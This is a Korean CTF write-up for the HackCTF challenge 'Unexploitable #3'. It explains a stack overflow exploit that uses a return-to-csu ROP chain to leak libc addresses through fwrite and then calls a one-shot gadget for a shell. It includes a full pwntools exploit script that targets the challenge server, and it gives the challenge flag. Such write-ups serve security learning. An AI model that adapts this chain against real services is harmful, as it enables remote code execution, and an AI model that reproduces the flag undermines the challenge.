-
Unexploitable #3CTF/HackCTF 2021. 2. 5. 16:10
Disassembly 디스어셈블리
undefined8 main(void) { char *s; setvbuf(_reloc.stdout, 0, 2, 0); setvbuf(_reloc.stdin, 0, 2, 0); fwrite("Impossible RTL ha? Nothing for you!\n", 1, 0x24, _reloc.stdout); fgets(&s, 0x100, _reloc.stdin); return 0; }
system 가젯이 사라지고 fgets로 입력받는 버퍼 크기가 0x100바이트로 증가한 것 외에는 Unexploitable #2와 차이가 없다.
Return-to-csu
syscall과 system 가젯이 보이지 않으므로 공격을 위해서는 라이브러리 주소에 대한 정보가 필수적이고, 각종 데이터를 leak할 수 있는 함수는 fwrite밖에 없다. 그러나 fwrite을 이용하기 위해서는 rdi, rsi, rdx, rcx 레지스터를 제어할 수 있어야 한다.
처음 세 인자는 csu 함수를 통해 원하는 대로 조작할 수 있다.
rcx를 조작할 수 있는 가젯은 gift 함수에 존재한다. fwrite을 호출할 때 stdout의 심볼 주소를 rdi에 넣고 mov rcx, qword [rdi]를 실행하면 .bss 영역에 적힌 stdout의 라이브러리 주소가 rcx에 적힐 것이다.
fwrite(fgets_got, 1, 0x8, stdout)과 fwrite(fwrite_got, 1, 0x8, stdout)을 연달아 호출해 라이브러리 주소를 구하자.
payload = b"A"*0x18 payload += p64(prdi) payload += p64(stdout) payload += p64(prcx) payload += p64(csu_init) payload += p64(0) + p64(1) + p64(fwrite_got) + p64(0x8) + p64(1) + p64(fgets_got) payload += p64(csu) payload += p64(0) payload += p64(0) + p64(1) + p64(fwrite_got) + p64(0x8) + p64(1) + p64(fwrite_got) payload += p64(prdi) payload += p64(stdout) payload += p64(prcx) payload += p64(csu) p.sendline(payload) fgets = u64(p.recv(8)) fwrite = u64(p.recv(8)) log.info("fgets : " + hex(fgets)) log.info("fwrite : " + hex(fwrite))
이처럼 둘 이상의 라이브러리 함수 주소를 알고 있으면 offset을 바탕으로 라이브러리 버전을 유추할 수 있다. libc database search를 이용해 라이브러리 버전을 알아내자.
오른쪽의 매칭 결과를 클릭하면 아래와 같이 주요 가젯들의 주소를 보여준다.
다운로드 버튼을 눌러 libc를 다운받아 pwntools로 offset을 계산할 수 있도록 하자.
lib = "libc6_2.23-0ubuntu11_amd64.so" l = ELF(lib) libc = fgets - l.symbols["fgets"] system = libc + l.symbols["system"] binsh = libc + next(l.search(b"/bin/sh\x00")) oneshot = libc + 0x4526a log.info("libc : " + hex(libc))
이제 system과 binsh 문자열의 주소를 알 수 있음은 물론, oneshot gadget의 위치 또한 구할 수 있다.
fgets로 입력받는 버퍼의 크기가 0x100임을 이용해 [rsp+0x30]을 null로 채울 수 있으므로 oneshot을 이용하자.
... payload += p64(main) p.recvuntil("!\n") p.sendline(payload) ... payload = b"A"*0x18 payload += p64(oneshot) payload += p64(0)*8 p.recvuntil("!\n") p.sendline(payload)
첫 payload를 전송할 때 main을 다시 호출하도록 한 뒤, 구해낸 라이브러리 주소를 바탕으로 oneshot을 호출하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./Unexploitable_3" lib = "libc6_2.23-0ubuntu11_amd64.so" server = "ctf.j0n9hyun.xyz" port = 3034 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = process(binary) gdb.attach(p) e = ELF(binary) r = ROP(e) l = ELF(lib) e.checksec() prdi = (r.find_gadget(['pop rdi', 'ret']))[0] prcx = 0x00400658 # mov rcx, qword ptr [rdi] ; ret main = e.symbols["main"] stdout = e.symbols["stdout"] fwrite_got = e.got["fwrite"] fgets_got = e.got["fgets"] bss = e.bss() csu_init = 0x40073a csu = 0x400720 payload = b"A"*0x18 payload += p64(prdi) payload += p64(stdout) payload += p64(prcx) payload += p64(csu_init) payload += p64(0) + p64(1) + p64(fwrite_got) + p64(0x8) + p64(1) + p64(fgets_got) payload += p64(csu) payload += p64(0)*7 payload += p64(main) p.recvuntil("!\n") p.sendline(payload) fgets = u64(p.recv(8)) libc = fgets - l.symbols["fgets"] oneshot = libc + 0x4526a log.info("libc : " + hex(libc)) payload = b"A"*0x18 payload += p64(oneshot) payload += p64(0)*8 p.recvuntil("!\n") p.sendline(payload) p.interactive()
Flag
HackCTF{bss_4lw4y5_h4s_std1n/std0ut}